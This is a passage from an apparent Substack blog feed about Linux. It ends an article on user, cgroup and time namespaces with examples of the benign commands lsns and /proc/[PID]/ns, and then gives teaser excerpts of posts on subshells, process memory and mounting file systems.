20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>User (user)</h3><p>The <strong>user namespace</strong> isolates user and group ID numbers.</p><p>Inside a user namespace, a process can appear to run as <code>root</code> even though it&#8217;s mapped to a non-privileged user on the host.</p><p>This allows for powerful yet safe privilege separation, a cornerstone of container security.</p><p>User namespaces can also be <strong>nested</strong>, meaning an unprivileged user in one namespace can create another one and become &#8220;root&#8221; inside it.</p><p>While this brings flexibility, it also raises some security considerations if not properly controlled.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cApM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cApM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 424w, https://substackcdn.com/image/fetch/$s_!cApM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 848w, https://substackcdn.com/image/fetch/$s_!cApM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!cApM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cApM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png" width="1456" height="742" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:742,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:129249,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cApM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 424w, https://substackcdn.com/image/fetch/$s_!cApM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 848w, https://substackcdn.com/image/fetch/$s_!cApM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!cApM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01523d7d-1981-4b80-9d31-b090608873cf_2250x1146.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Cgroup (cgroup)</h3><p>The <strong>cgroup namespace </strong>hides and isolates the <strong>control group hierarchy</strong> from processes.</p><p>Cgroups (control groups) are used by containers like Docker and LXC to limit, measure, and isolate resource usage, CPU, memory, I/O, and more.</p><p>Before this namespace existed, processes could see cgroup information from other containers, leading to potential information leakage.</p><p>Now, each namespace has its own virtual view of cgroups, so processes can only see and manage their own resource quotas.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7x4N!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7x4N!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 424w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 848w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 1272w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7x4N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png" width="1456" height="1011" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1011,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:204685,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7x4N!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 424w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 848w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 1272w, https://substackcdn.com/image/fetch/$s_!7x4N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91e437de-5654-45de-a0a9-a822bcda04f1_2250x1563.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Time (time)</h3><p>The <strong>time namespace</strong> is one of the newest additions to Linux.</p><p>It isolates system clocks such as the <strong>boot time</strong> and <strong>monotonic clock</strong>, allowing each namespace to maintain its own time offsets.</p><p>This means a container can adjust its own clock without affecting the host, useful for testing, simulations, or restoring snapshot environments where time shouldn&#8217;t jump forward.</p><p>It&#8217;s also what allows containers to run their own time synchronization processes, like <code>ntpd</code>, independently.</p><p>Together, these eight namespaces form for what has become the backbone of Linux&#8217;s process isolation model.</p><p>Each can be used individually, but when combined, as in most container environments, they create lightweight, secure, and flexible virtual systems that behave like independent machines.</p><p>In the upcoming parts of this series, we&#8217;ll explore each of these namespaces in action: how to create them, how to peek inside, and how to connect them to real-world container behavior.</p><h2>Namespaces in Action &#8211; A Quick Peek</h2><p>Before diving deeper into each namespace, let&#8217;s see what namespaces already exist on your system.</p><p>Even without Docker or containers, your Linux system uses namespaces all the time. Every process is part of one or more namespaces.</p><p>You can view them using the <code>lsns</code>  (short for list namespaces) command, which comes with the <code>util-linux </code>package:</p><pre><code>$ lsns</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vPFj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vPFj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 424w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 848w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 1272w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vPFj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png" width="938" height="291" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:291,&quot;width&quot;:938,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:62278,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vPFj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 424w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 848w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 1272w, https://substackcdn.com/image/fetch/$s_!vPFj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc51d51de-9480-4bcf-9835-efe0e524b97a_938x291.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each row represents a namespace, identified by its unique <strong>NS</strong> number.</p><p>The <code>TYPE</code> column tells you which resource it isolates, while <code>NPROCS </code>shows how many processes are currently using that namespace.</p><p>The <code>PID</code> column points to the process that created it.</p><p>You can also inspect namespaces for a specific process by looking under <code>/proc/[PID]/ns</code>:</p><pre><code>$ ls -l /proc/1921/ns</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zHxN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zHxN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 424w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 848w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 1272w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zHxN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png" width="938" height="319" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c2eb39a5-7159-4106-989b-376f8c660605_938x319.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:319,&quot;width&quot;:938,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:99016,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zHxN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 424w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 848w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 1272w, https://substackcdn.com/image/fetch/$s_!zHxN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2eb39a5-7159-4106-989b-376f8c660605_938x319.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each symbolic link in that directory corresponds to one namespace type.</p><p>For example, <code>/proc/1921/ns/net </code>points to the network namespace used by the <code>systemd</code> process.</p><p>In the next parts of the series, we&#8217;ll use similar experiments to explore each namespace type in depth, from process isolation to network segmentation, filesystem views, and more.</p><h2>Looking Ahead</h2><p>What we&#8217;ve seen so far is that namespaces don&#8217;t create new machines, they reshape how processes <strong>see</strong> the system. Every container, sandbox, or lightweight virtual environment you&#8217;ll ever use relies on this core concept.</p><p>In the upcoming parts of this series, we&#8217;ll walk through each namespace one at a time.</p><p>You&#8217;ll learn what it isolates, how to create it manually, and what real-world scenarios it&#8217;s used in.</p><p>Here&#8217;s a quick preview of what&#8217;s coming:</p><ul><li><p><strong>PID Namespace</strong> &#8211; Discover how Linux builds isolated process trees and why every container has its own PID 1.</p></li><li><p><strong>Network Namespace </strong>&#8211; Create isolated networks, connect them with virtual interfaces, and understand how Docker wires them together.</p></li><li><p><strong>Mount Namespace </strong>&#8211; Explore how filesystem views can differ across isolated processes and more.</p></li></ul><p>In the next part, we&#8217;ll begin with <strong>PID namespaces</strong>, where you&#8217;ll see how Linux creates separate process worlds, each with its own &#8220;init&#8221; process and process list, so stay tuned.</p><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p>]]></content:encoded></item><item><title><![CDATA[What are Subshells in Linux]]></title><description><![CDATA[In Linux, every time you open a terminal, you start a shell, usually Bash or Zsh.]]></description><link>https://blog.sysxplore.com/p/what-are-subshells-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/what-are-subshells-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 27 Oct 2025 18:06:01 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/33a1b29f-2c34-48a5-8afe-efc177a11976_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Linux, every time you open a terminal, you start a shell,  usually Bash or Zsh. But what happens when you run a command inside parentheses, like this?</p><pre><code><code>$ (pwd; ls)</code></code></pre><p>You&#8217;ve just created a <em>subshell</em>,  a new child shell that runs your commands in isolation from the parent. Subshells are one of those shell concepts that quietly do a lot behind the scenes in B&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/what-are-subshells-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[How to Accurately Check Memory Consumption of a Process in Linux]]></title><description><![CDATA[When your Linux system starts feeling sluggish or running out of memory, one of the first things you&#8217;ll want to check is which processes are consuming the most RAM.]]></description><link>https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 25 Oct 2025 18:46:16 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8f70e940-3540-4142-add8-e4f8118724c5_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When your Linux system starts feeling sluggish or running out of memory, one of the first things you&#8217;ll want to check is which processes are consuming the most RAM. Tools like <code>ps</code> and <code>top</code> make this easy at a glance, but the numbers they show don&#8217;t always tell the full story.</p><p>A process might appear to use hundreds of megabytes of memory, yet in reality, a &#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Mounting and Unmounting File Systems in Linux]]></title><description><![CDATA[Mounting and unmounting file systems are fundamental tasks in Linux.]]></description><link>https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems</link><guid isPermaLink="false">https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 11 Oct 2025 16:44:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/858a4c41-7baa-4c0a-a4fc-4ccd4b89a736_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mounting and unmounting file systems are some of the most practical tasks you&#8217;ll perform in Linux. Whenever you add a new drive or rearrange your storage, you&#8217;ll need to mount it before you can access its contents.</p><p>When you mount a file system, you&#8217;re essentially linking it to a specific directory so you can access its contents. Unmounting, on the other &#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems">
              Read more
          </a>
      </p>
